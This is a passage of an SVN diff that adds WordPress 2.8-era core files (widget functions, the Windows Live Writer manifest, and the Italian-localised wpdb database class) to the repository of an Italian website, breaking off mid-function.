+ * Passes to {@link wp_register_sidebar_widget()} after argument list and
+ * backwards compatibility is complete.
+ *
+ * @since 2.2.0
+ * @uses wp_register_sidebar_widget() Passes the compiled arguments.
+ *
+ * @param string|int $name Widget ID.
+ * @param callback $output_callback Run when widget is called.
+ * @param string $classname Classname widget option.
+ * @param mixed $params,... Widget parameters.
+ */
+function register_sidebar_widget($name, $output_callback, $classname = '') {
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($classname) && is_string($classname) )
+		$options['classname'] = $classname;
+	$params = array_slice(func_get_args(), 2);
+	$args = array($id, $name, $output_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_sidebar_widget', $args);
+}
+
+/**
+ * Alias of {@link wp_unregister_sidebar_widget()}.
+ *
+ * @see wp_unregister_sidebar_widget()
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_sidebar_widget($id) {
+	return wp_unregister_sidebar_widget($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
+ * Passes to {@link wp_register_widget_control()} after the argument list has
+ * been compiled.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $name Sidebar ID.
+ * @param callback $control_callback Widget control callback to display and process form.
+ * @param int $width Widget width.
+ * @param int $height Widget height.
+ */
+function register_widget_control($name, $control_callback, $width = '', $height = '') {
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($width) )
+		$options['width'] = $width;
+	if ( !empty($height) )
+		$options['height'] = $height;
+	$params = array_slice(func_get_args(), 4);
+	$args = array($id, $name, $control_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_widget_control', $args);
+}
+
+/**
+ * Alias of {@link wp_unregister_widget_control()}.
+ *
+ * @since 2.2.0
+ * @see wp_unregister_widget_control()
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_widget_control($id) {
+	return wp_unregister_widget_control($id);
+}
+
+/**
+ * Output an arbitrary widget as a template tag
+ *
+ * @since 2.8
+ *
+ * @param string $widget the widget's PHP class name (see default-widgets.php)
+ * @param array $instance the widget's instance settings
+ * @param array $args the widget's sidebar args
+ * @return void
+ **/
+function the_widget($widget, $instance = array(), $args = array()) {
+	global $wp_widget_factory;
+
+	$widget_obj = $wp_widget_factory->widgets[$widget];
+	if ( !is_a($widget_obj, 'WP_Widget') )
+		return;
+
+	$before_widget = sprintf('<div class="widget %s">', $widget_obj->widget_options['classname']);
+	$default_args = array('before_widget' => $before_widget, 'after_widget' => "</div>", 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>');
+
+	$args = wp_parse_args($args, $default_args);
+	$instance = wp_parse_args($instance);
+
+	$widget_obj->_set(-1);
+	$widget_obj->widget($args, $instance);
+}
+
+/**
+ * Private
+ */
+function _get_widget_id_base($id) {
+	return preg_replace( '/-[0-9]+$/', '', $id );
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/wlwmanifest.xml
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/wlwmanifest.xml	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/wlwmanifest.xml	(revision 44)
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8" ?>
+
+<manifest xmlns="http://schemas.microsoft.com/wlw/manifest/weblog">
+
+  <options>
+    <clientType>WordPress</clientType>
+	<supportsKeywords>Yes</supportsKeywords>
+	<supportsGetTags>Yes</supportsGetTags>
+  </options>
+  
+  <weblog>
+    <serviceName>WordPress</serviceName>
+    <imageUrl>images/wlw/wp-icon.png</imageUrl>
+    <watermarkImageUrl>images/wlw/wp-watermark.png</watermarkImageUrl>
+    <homepageLinkText>View site</homepageLinkText>
+    <adminLinkText>Dashboard</adminLinkText>
+    <adminUrl>
+      <![CDATA[ 
+			{blog-postapi-url}/../wp-admin/ 
+		]]>
+    </adminUrl>
+    <postEditingUrl>
+      <![CDATA[ 
+			{blog-postapi-url}/../wp-admin/post.php?action=edit&post={post-id} 
+		]]>
+    </postEditingUrl>
+  </weblog>
+
+  <buttons>
+    <button>
+      <id>0</id>
+      <text>Manage Comments</text>
+      <imageUrl>images/wlw/wp-comments.png</imageUrl>
+      <clickUrl>
+        <![CDATA[ 
+				{blog-postapi-url}/../wp-admin/edit-comments.php
+			]]>
+      </clickUrl>
+    </button>
+
+  </buttons>
+
+</manifest>
+
Index: /trunk/www.guidonia.net/wp/wp-includes/wp-db.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/wp-db.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/wp-db.php	(revision 44)
@@ -0,0 +1,1113 @@
+<?php
+/**
+ * WordPress DB Class
+ *
+ * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
+ *
+ * @package WordPress
+ * @subpackage Database
+ * @since 0.71
+ */
+
+/**
+ * @since 0.71
+ */
+define('EZSQL_VERSION', 'WP1.25');
+
+/**
+ * @since 0.71
+ */
+define('OBJECT', 'OBJECT', true);
+
+/**
+ * @since {@internal Version Unknown}}
+ */
+define('OBJECT_K', 'OBJECT_K', false);
+
+/**
+ * @since 0.71
+ */
+define('ARRAY_A', 'ARRAY_A', false);
+
+/**
+ * @since 0.71
+ */
+define('ARRAY_N', 'ARRAY_N', false);
+
+/**
+ * WordPress Database Access Abstraction Object
+ *
+ * It is possible to replace this class with your own
+ * by setting the $wpdb global variable in wp-content/db.php
+ * file with your class. You can name it wpdb also, since
+ * this file will not be included, if the other file is
+ * available.
+ *
+ * @link http://codex.wordpress.org/Function_Reference/wpdb_Class
+ *
+ * @package WordPress
+ * @subpackage Database
+ * @since 0.71
+ * @final
+ */
+class wpdb {
+
+	/**
+	 * Whether to show SQL/DB errors
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var bool
+	 */
+	var $show_errors = false;
+
+	/**
+	 * Whether to suppress errors during the DB bootstrapping.
+	 *
+	 * @access private
+	 * @since {@internal Version Unknown}}
+	 * @var bool
+	 */
+	var $suppress_errors = false;
+
+	/**
+	 * The last error during query.
+	 *
+	 * @since {@internal Version Unknown}}
+	 * @var string
+	 */
+	var $last_error = '';
+
+	/**
+	 * Amount of queries made
+	 *
+	 * @since 1.2.0
+	 * @access private
+	 * @var int
+	 */
+	var $num_queries = 0;
+
+	/**
+	 * Saved result of the last query made
+	 *
+	 * @since 1.2.0
+	 * @access private
+	 * @var array
+	 */
+	var $last_query;
+
+	/**
+	 * Saved info on the table column
+	 *
+	 * @since 1.2.0
+	 * @access private
+	 * @var array
+	 */
+	var $col_info;
+
+	/**
+	 * Saved queries that were executed
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $queries;
+
+	/**
+	 * WordPress table prefix
+	 *
+	 * You can set this to have multiple WordPress installations
+	 * in a single database. The second reason is for possible
+	 * security precautions.
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var string
+	 */
+	var $prefix = '';
+
+	/**
+	 * Whether the database queries are ready to start executing.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var bool
+	 */
+	var $ready = false;
+
+	/**
+	 * WordPress Posts table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $posts;
+
+	/**
+	 * WordPress Users table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $users;
+
+	/**
+	 * WordPress Categories table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $categories;
+
+	/**
+	 * WordPress Post to Category table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $post2cat;
+
+	/**
+	 * WordPress Comments table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $comments;
+
+	/**
+	 * WordPress Links table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $links;
+
+	/**
+	 * WordPress Options table
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $options;
+
+	/**
+	 * WordPress Post Metadata table
+	 *
+	 * @since {@internal Version Unknown}}
+	 * @access public
+	 * @var string
+	 */
+	var $postmeta;
+
+	/**
+	 * WordPress User Metadata table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	var $usermeta;
+
+	/**
+	 * WordPress Terms table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	var $terms;
+
+	/**
+	 * WordPress Term Taxonomy table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	var $term_taxonomy;
+
+	/**
+	 * WordPress Term Relationships table
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var string
+	 */
+	var $term_relationships;
+
+	/**
+	 * List of WordPress tables
+	 *
+	 * @since {@internal Version Unknown}}
+	 * @access private
+	 * @var array
+	 */
+	var $tables = array('users', 'usermeta', 'posts', 'categories', 'post2cat', 'comments', 'links', 'link2cat', 'options',
+			'postmeta', 'terms', 'term_taxonomy', 'term_relationships');
+
+	/**
+	 * Format specifiers for DB columns. Columns not listed here default to %s.  Initialized in wp-settings.php.
+	 *
+	 * Keys are colmn names, values are format types: 'ID' => '%d'
+	 *
+	 * @since 2.8.0
+	 * @see wpdb:prepare()
+	 * @see wpdb:insert()
+	 * @see wpdb:update()
+	 * @access public
+	 * @war array
+	 */
+	var $field_types = array();
+
+	/**
+	 * Database table columns charset
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var string
+	 */
+	var $charset;
+
+	/**
+	 * Database table columns collate
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var string
+	 */
+	var $collate;
+
+	/**
+	 * Whether to use mysql_real_escape_string
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var bool
+	 */
+	var $real_escape = false;
+
+	/**
+	 * Connects to the database server and selects a database
+	 *
+	 * PHP4 compatibility layer for calling the PHP5 constructor.
+	 *
+	 * @uses wpdb::__construct() Passes parameters and returns result
+	 * @since 0.71
+	 *
+	 * @param string $dbuser MySQL database user
+	 * @param string $dbpassword MySQL database password
+	 * @param string $dbname MySQL database name
+	 * @param string $dbhost MySQL database host
+	 */
+	function wpdb($dbuser, $dbpassword, $dbname, $dbhost) {
+		return $this->__construct($dbuser, $dbpassword, $dbname, $dbhost);
+	}
+
+	/**
+	 * Connects to the database server and selects a database
+	 *
+	 * PHP5 style constructor for compatibility with PHP5. Does
+	 * the actual setting up of the class properties and connection
+	 * to the database.
+	 *
+	 * @since 2.0.8
+	 *
+	 * @param string $dbuser MySQL database user
+	 * @param string $dbpassword MySQL database password
+	 * @param string $dbname MySQL database name
+	 * @param string $dbhost MySQL database host
+	 */
+	function __construct($dbuser, $dbpassword, $dbname, $dbhost) {
+		register_shutdown_function(array(&$this, "__destruct"));
+
+		if ( defined('WP_DEBUG') and WP_DEBUG == true )
+			$this->show_errors();
+
+		if ( defined('DB_CHARSET') )
+			$this->charset = DB_CHARSET;
+
+		if ( defined('DB_COLLATE') )
+			$this->collate = DB_COLLATE;
+
+		$this->dbh = @mysql_connect($dbhost, $dbuser, $dbpassword, true);
+		if (!$this->dbh) {
+			$this->bail(sprintf(/*WP_I18N_DB_CONN_ERROR*/'
+<h1>Errore nello stabilire una connessione al database</h1>
+<p>CiÃ² significa che le informazioni sul nome utente o sulla password presenti nel file <code>wp-config.php</code> non sono corrette o che non Ãš possibile contattare il server del database a <code>%s</code>. Il che potrebbe voler dire che il database server del fornitore di hosting non Ãš attivo.</p>
+<ul>
+	<li>Si Ãš sicuri di disporre del nome utente e della password corretti?</li>
+	<li>Si Ãš sicuri di aver digitato correttamente il nome dell\'host?</li>
+	<li>Si Ãš sicuri che il server del database sia funzionante?</li>
+</ul>
+<p>Nel caso non si abbia certezza sul significato di questi termini Ãš opportuno contattare il proprio host. Se si ha bisogno di ulteriore aiuto Ãš sempre possibile visitare il <a href=\'http://www.wordpress-it.it/forumt/\'>Forum di supporto italiano su WordPress</a>.</p>
+'/*/WP_I18N_DB_CONN_ERROR*/, $dbhost));
+			return;
+		}
+
+		$this->ready = true;
+
+		if ( $this->has_cap( 'collation' ) ) {
+			if ( !empty($this->charset) ) {
+				if ( function_exists('mysql_set_charset') ) {
+					mysql_set_charset($this->charset, $this->dbh);
+					$this->real_escape = true;
+				} else {
+					$collation_query = "SET NAMES '{$this->charset}'";
+					if ( !empty($this->collate) )
+						$collation_query .= " COLLATE '{$this->collate}'";
+					$this->query($collation_query);
+				}
+			}
+		}
+
+		$this->select($dbname);
+	}
+
+	/**
+	 * PHP5 style destructor and will run when database object is destroyed.
+	 *
+	 * @since 2.0.8
+	 *
+	 * @return bool Always true
+	 */
+	function __destruct() {
+		return true;
+	}
+
+	/**
+	 * Sets the table prefix for the WordPress tables.
+	 *
+	 * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to
+	 * override the WordPress users and usersmeta tables that would otherwise be determined by the $prefix.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $prefix Alphanumeric name for the new prefix.
+	 * @return string|WP_Error Old prefix or WP_Error on error
+	 */
+	function set_prefix($prefix) {
+
+		if ( preg_match('|[^a-z0-9_]|i', $prefix) )
+			return new WP_Error('invalid_db_prefix', /*WP_I18N_DB_BAD_PREFIX*/'Prefisso database non valido'/*/WP_I18N_DB_BAD_PREFIX*/);
+
+		$old_prefix = $this->prefix;
+		$this->prefix = $prefix;
+
+		foreach ( (array) $this->tables as $table )
+			$this->$table = $this->prefix . $table;
+
+		if ( defined('CUSTOM_USER_TABLE') )
+			$this->users = CUSTOM_USER_TABLE;
+
+		if ( defined('CUSTOM_USER_META_TABLE') )
+			$this->usermeta = CUSTOM_USER_META_TABLE;
+
+		return $old_prefix;
+	}
+
+	/**
+	 * Selects a database using the current database connection.
+	 *
+	 * The database name will be changed based on the current database
+	 * connection. On failure, the execution will bail and display an DB error.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $db MySQL database name
+	 * @return null Always null.
+	 */
+	function select($db) {
+		if (!@mysql_select_db($db, $this->dbh)) {
+			$this->ready = false;
+			$this->bail(sprintf(/*WP_I18N_DB_SELECT_DB*/'
+<h1>Impossibile selesionare il database</h1>
+<p>&Egrave; stato possibile connettersi al server del database (il che significa che il nome utente e la password sono ok) ma non Ãš stato possibile selezionare il database <code>%1$s</code>.</p>
+<ul>
+<li>Si Ãš certi che esista?</li>
+<li>L\'utente <code>%2$s</code> ha i permessi di usare il database <code>%1$s</code>?</li>
+<li>Su alcuni sistemi il nome del database va fatto precedere dal nome utente, cosÃ¬ da avere un formato simile a username_wordpress. Potrebbe essere questo il problema?</li>
+</ul>
+<p>Se non si sa come impostare un database sarebbe opportuno <strong>contattare il proprio host</strong>. Se tutto questo fallisce Ãš possibile trovare aiuto sul <a href=\'http://www.wordpress-it.it/forumt/\'>Forum di supporto italiano su WordPress</a>.</p>'/*/WP_I18N_DB_SELECT_DB*/, $db, DB_USER));
+			return;
+		}
+	}
+
+	function _weak_escape($string) {
+		return addslashes($string);
+	}
+
+	function _real_escape($string) {
+		if ( $this->dbh && $this->real_escape )
+			return mysql_real_escape_string( $string, $this->dbh );
+		else
+			return addslashes( $string );
+	}
+
+	function _escape($data) {
+		if ( is_array($data) ) {
+			foreach ( (array) $data as $k => $v ) {
+				if ( is_array($v) )
+					$data[$k] = $this->_escape( $v );
+				else
+					$data[$k] = $this->_real_escape( $v );
+			}
+		} else {
+			$data = $this->_real_escape( $data );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Escapes content for insertion into the database using addslashes(), for security
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|array $data
+	 * @return string query safe string
+	 */
+	function escape($data) {
+		if ( is_array($data) ) {
+			foreach ( (array) $data as $k => $v ) {
+				if ( is_array($v) )
+					$data[$k] = $this->escape( $v );
+				else
+					$data[$k] = $this->_weak_escape( $v );
+			}
+		} else {
+			$data = $this->_weak_escape( $data );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Escapes content by reference for insertion into the database, for security
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $s
+	 */
+	function escape_by_ref(&$string) {
+		$string = $this->_real_escape( $string );
+	}
+
+	/**
+	 * Prepares a SQL query for safe execution.  Uses sprintf()-like syntax.
+	 *
+	 * This function only supports a small subset of the sprintf syntax; it only supports %d (decimal number), %s (string).
+	 * Does not support sign, padding, alignment, width or precision specifiers.
+	 * Does not support argument numbering/swapping.
+	 *
+	 * May be called like {@link http://php.net/sprintf sprintf()} or like {@link http://php.net/vsprintf vsprintf()}.
+	 *
+	 * Both %d and %s should be left unquoted in the query string.
+	 *
+	 * <code>
+	 * wpdb::prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", "foo", 1337 )
+	 * </code>
+	 *
+	 * @link http://php.net/sprintf Description of syntax.
+	 * @since 2.3.0
+	 *
+	 * @param string $query Query statement with sprintf()-like placeholders
+	 * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called like {@link http://php.net/vsprintf vsprintf()}, or the first variable to substitute into the query's placeholders if being called like {@link http://php.net/sprintf sprintf()}.
+	 * @param mixed $args,... further variables to substitute into the query's placeholders if being called like {@link http://php.net/sprintf sprintf()}.
+	 * @return null|string Sanitized query string
+	 */
+	function prepare($query = null) { // ( $query, *$args )
+		if ( is_null( $query ) )
+			return;
+		$args = func_get_args();
+		array_shift($args);
+		// If args were passed as an array (as in vsprintf), move them up
+		if ( isset($args[0]) && is_array($args[0]) )
+			$args = $args[0];
+		$query = str_replace("'%s'", '%s', $query); // in case someone mistakenly already singlequoted it
+		$query = str_replace('"%s"', '%s', $query); // doublequote unquoting
+		$query = str_replace('%s', "'%s'", $query); // quote the strings
+		array_walk($args, array(&$this, 'escape_by_ref'));
+		return @vsprintf($query, $args);
+	}
+
+	/**
+	 * Print SQL/DB error.
+	 *
+	 * @since 0.71
+	 * @global array $EZSQL_ERROR Stores error information of query and error string
+	 *
+	 * @param string $str The error to display
+	 * @return bool False if the showing of errors is disabled.
+	 */
+	function print_error($str = '') {
+		global $EZSQL_ERROR;
+
+		if (!$str) $str = mysql_error($this->dbh);
+		$EZSQL_ERROR[] = array ('query' => $this->last_query, 'error_str' => $str);
+
+		if ( $this->suppress_errors )
+			return false;
+
+		if ( $caller = $this->get_caller() )
+			$error_str = sprintf(/*WP_I18N_DB_QUERY_ERROR_FULL*/'WordPress errore sul database %1$s per la query %2$s fatta da %3$s'/*/WP_I18N_DB_QUERY_ERROR_FULL*/, $str, $this->last_query, $caller);
+		else
+			$error_str = sprintf(/*WP_I18N_DB_QUERY_ERROR*/'WordPress errore database %1$s per la query %2$s'/*/WP_I18N_DB_QUERY_ERROR*/, $str, $this->last_query);
+
+		$log_error = true;
+		if ( ! function_exists('error_log') )
+			$log_error = false;
+
+		$log_file = @ini_get('error_log');
+		if ( !empty($log_file) && ('syslog' != $log_file) && !@is_writable($log_file) )
+			$log_error = false;
+
+		if ( $log_error )
+			@error_log($error_str, 0);
+
+		// Is error output turned on or not..
+		if ( !$this->show_errors )
+			return false;
+
+		$str = htmlspecialchars($str, ENT_QUOTES);
+		$query = htmlspecialchars($this->last_query, ENT_QUOTES);
+
+		// If there is an error then take note of it
+		print "<div id='error'>
+		<p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
+		<code>$query</code></p>
+		</div>";
+	}
+
+	/**
+	 * Enables showing of database errors.
+	 *
+	 * This function should be used only to enable showing of errors.
+	 * wpdb::hide_errors() should be used instead for hiding of errors. However,
+	 * this function can be used to enable and disable showing of database
+	 * errors.
+	 *
+	 * @since 0.71
+	 *
+	 * @param bool $show Whether to show or hide errors
+	 * @return bool Old value for showing errors.
+	 */
+	function show_errors( $show = true ) {
+		$errors = $this->show_errors;
+		$this->show_errors = $show;
+		return $errors;
+	}
+
+	/**
+	 * Disables showing of database errors.
+	 *
+	 * @since 0.71
+	 *
+	 * @return bool Whether showing of errors was active or not
+	 */
+	function hide_errors() {
+		$show = $this->show_errors;
+		$this->show_errors = false;
+		return $show;
+	}
+
+	/**
+	 * Whether to suppress database errors.
+	 *
+	 * @param unknown_type $suppress
+	 * @return unknown
+	 */
+	function suppress_errors( $suppress = true ) {
+		$errors = $this->suppress_errors;
+		$this->suppress_errors = $suppress;
+		return $errors;
+	}
+
+	/**
+	 * Kill cached query results.
+	 *
+	 * @since 0.71
+	 */
+	function flush() {
+		$this->last_result = array();
+		$this->col_info = null;
+		$this->last_query = null;
+	}
+
+	/**
+	 * Perform a MySQL database query, using current database connection.
+	 *
+	 * More information can be found on the codex page.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query
+	 * @return int|false Number of rows affected/selected or false on error
+	 */
+	function query($query) {
+		if ( ! $this->ready )
+			return false;
+
+		// filter the query, if filters are available
+		// NOTE: some queries are made before the plugins have been loaded, and thus cannot be filtered with this method
+		if ( function_exists('apply_filters') )
+			$query = apply_filters('query', $query);
+
+		// initialise return
+		$return_val = 0;
+		$this->flush();
+
+		// Log how the function was called
+		$this->func_call = "\$db->query(\"$query\")";
+
+		// Keep track of the last query for debug..
+		$this->last_query = $query;
+
+		// Perform the query via std mysql_query function..
+		if ( defined('SAVEQUERIES') && SAVEQUERIES )
+			$this->timer_start();
+
+		$this->result = @mysql_query($query, $this->dbh);
+		++$this->num_queries;
+
+		if ( defined('SAVEQUERIES') && SAVEQUERIES )
+			$this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() );
+
+		// If there is an error then take note of it..
+		if ( $this->last_error = mysql_error($this->dbh) ) {
+			$this->print_error();
+			return false;
+		}
+
+		if ( preg_match("/^\\s*(insert|delete|update|replace|alter) /i",$query) ) {
+			$this->rows_affected = mysql_affected_rows($this->dbh);
+			// Take note of the insert_id
+			if ( preg_match("/^\\s*(insert|replace) /i",$query) ) {
+				$this->insert_id = mysql_insert_id($this->dbh);
+			}
+			// Return number of rows affected
+			$return_val = $this->rows_affected;
+		} else {
+			$i = 0;
+			while ($i < @mysql_num_fields($this->result)) {
+				$this->col_info[$i] = @mysql_fetch_field($this->result);
+				$i++;
+			}
+			$num_rows = 0;
+			while ( $row = @mysql_fetch_object($this->result) ) {
+				$this->last_result[$num_rows] = $row;
+				$num_rows++;
+			}
+
+			@mysql_free_result($this->result);
+
+			// Log number of rows the query returned
+			$this->num_rows = $num_rows;
+
+			// Return number of rows selected
+			$return_val = $this->num_rows;
+		}
+
+		return $return_val;
+	}
+
+	/**
+	 * Insert a row into a table.
+	 *
+	 * <code>
+	 * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
+	 * </code>
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to insert (in column => value pairs).  Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array|string $format (optional) An array of formats to be mapped to each of the value in $data.  If string, that format will be used for all of the values in $data.  A format is one of '%d', '%s' (decimal number, string).  If omitted, all values in $data will be treated as strings.
+	 * @return int|false The number of rows inserted, or false on error.
+	 */
+	function insert($table, $data, $format = null) {
+		$formats = $format = (array) $format;
+		$fields = array_keys($data);
+		$formatted_fields = array();
+		foreach ( $fields as $field ) {
+			if ( !empty($format) )
+				$form = ( $form = array_shift($formats) ) ? $form : $format[0];
+			elseif ( isset($this->field_types[$field]) )
+				$form = $this->field_types[$field];
+			else
+				$form = '%s';
+			$formatted_fields[] = $form;
+		}
+		$sql = "INSERT INTO `$table` (`" . implode( '`,`', $fields ) . "`) VALUES ('" . implode( "','", $formatted_fields ) . "')";
+		return $this->query( $this->prepare( $sql, $data) );
+	}
+
+
+	/**
+	 * Update a row in the table
+	 *
+	 * <code>
+	 * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) )
+	 * </code>
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to update (in column => value pairs).  Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array $where A named array of WHERE clauses (in column => value pairs).  Multiple clauses will be joined with ANDs.  Both $where columns and $where values should be "raw".
+	 * @param array|string $format (optional) An array of formats to be mapped to each of the values in $data.  If string, that format will be used for all of the values in $data.  A format is one of '%d', '%s' (decimal number, string).  If omitted, all values in $data will be treated as strings.
+	 * @param array|string $format_where (optional) An array of formats to be mapped to each of the values in $where.  If string, that format will be used for all of  the items in $where.  A format is one of '%d', '%s' (decimal number, string).  If omitted, all values in $where will be treated as strings.
+	 * @return int|false The number of rows updated, or false on error.
+	 */
+	function update($table, $data, $where, $format = null, $where_format = null) {
+		if ( !is_array( $where ) )
+			return false;
+
+		$formats = $format = (array) $format;
+		$bits = $wheres = array();
+		foreach ( (array) array_keys($data) as $field ) {
+			if ( !empty($format) )
+				$form = ( $form = array_shift($formats) ) ? $form : $format[0];
+			elseif ( isset($this->field_types[$field]) )
+				$form = $this->field_types[$field];
+			else
+				$form = '%s';
+			$bits[] = "`$field` = {$form}";
+		}
+
+		$where_formats = $where_format = (array) $where_format;
+		foreach ( (array) array_keys($where) as $field ) {
+			if ( !empty($where_format) )
+				$form = ( $form = array_shift($where_formats) ) ? $form : $where_format[0];
+			elseif ( isset($this->field_types[$field]) )
+				$form = $this->field_types[$field];
+			else
+				$form = '%s';
+			$wheres[] = "`$field` = {$form}";
+		}
+
+		$sql = "UPDATE `$table` SET " . implode( ', ', $bits ) . ' WHERE ' . implode( ' AND ', $wheres );
+		return $this->query( $this->prepare( $sql, array_merge(array_values($data), array_values($where))) );
+	}
+
+	/**
+	 * Retrieve one variable from the database.
+	 *
+	 * Executes a SQL query and returns the value from the SQL result.
+	 * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified.
+	 * If $query is null, this function returns the value in the specified column and row from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query SQL query.  If null, use the result from the previous query.
+	 * @param int $x (optional) Column of value to return.  Indexed from 0.
+	 * @param int $y (optional) Row of value to return.  Indexed from 0.
+	 * @return string Database query result
+	 */
+	function get_var($query=null, $x = 0, $y = 0) {
+		$this->func_call = "\$db->get_var(\"$query\",$x,$y)";
+		if ( $query )
+			$this->query($query);
+
+		// Extract var out of cached results based x,y vals
+		if ( !empty( $this->last_result[$y] ) ) {
+			$values = array_values(get_object_vars($this->last_result[$y]));
+		}
+
+		// If there is a value return it else return null
+		return (isset($values[$x]) && $values[$x]!=='') ? $values[$x] : null;
+	}
+
+	/**
+	 * Retrieve one row from the database.
+	 *
+	 * Executes a SQL query and returns the row from the SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query SQL query.
+	 * @param string $output (optional) one of ARRAY_A | ARRAY_N | OBJECT constants.  Return an associative array (column => value, ...), a numerically indexed array (0 => value, ...) or an object ( ->column = value ), respectively.
+	 * @param int $y (optional) Row to return.  Indexed from 0.
+	 * @return mixed Database query result in format specifed by $output
+	 */
+	function get_row($query = null, $output = OBJECT, $y = 0) {
+		$this->func_call = "\$db->get_row(\"$query\",$output,$y)";
+		if ( $query )
+			$this->query($query);
+		else
+			return null;
+
+		if ( !isset($this->last_result[$y]) )
+			return null;
+
+		if ( $output == OBJECT ) {
+			return $this->last_result[$y] ? $this->last_result[$y] : null;
+		} elseif ( $output == ARRAY_A ) {
+			return $this->last_result[$y] ? get_object_vars($this->last_result[$y]) : null;
+		} elseif ( $output == ARRAY_N ) {
+			return $this->last_result[$y] ? array_values(get_object_vars($this->last_result[$y])) : null;
+		} else {
+			$this->print_error(/*WP_I18N_DB_GETROW_ERROR*/' $db->get_row(string query, output type, int offset) -- Il risultato deve essere uno fra questi: OBJECT, ARRAY_A, ARRAY_N'/*/WP_I18N_DB_GETROW_ERROR*/);
+		}
+	}
+
+	/**
+	 * Retrieve one column from the database.
+	 *
+	 * Executes a SQL query and returns the column from the SQL result.
+	 * If the SQL result contains more than one column, this function returns the column specified.
+	 * If $query is null, this function returns the specified column from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query SQL query.  If null, use the result from the previous query.
+	 * @param int $x Column to return.  Indexed from 0.
+	 * @return array Database query result.  Array indexed from 0 by SQL result row number.
+	 */
+	function get_col($query = null , $x = 0) {
+		if ( $query )
+			$this->query($query);
+
+		$new_array = array();
+		// Extract the column values
+		for ( $i=0; $i < count($this->last_result); $i++ ) {
+			$new_array[$i] = $this->get_var(null, $x, $i);
+		}
+		return $new_array;
+	}
+
+	/**
+	 * Retrieve an entire SQL result set from the database (i.e., many rows)
+	 *
+	 * Executes a SQL query and returns the entire SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query SQL query.
+	 * @param string $output (optional) ane of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.  With one of the first three, return an array of rows indexed from 0 by SQL result row number.  Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively.  With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value.  Duplicate keys are discarded.
+	 * @return mixed Database query results
+	 */
+	function get_results($query = null, $output = OBJECT) {
+		$this->func_call = "\$db->get_results(\"$query\", $output)";
+
+		if ( $query )
+			$this->query($query);
+		else
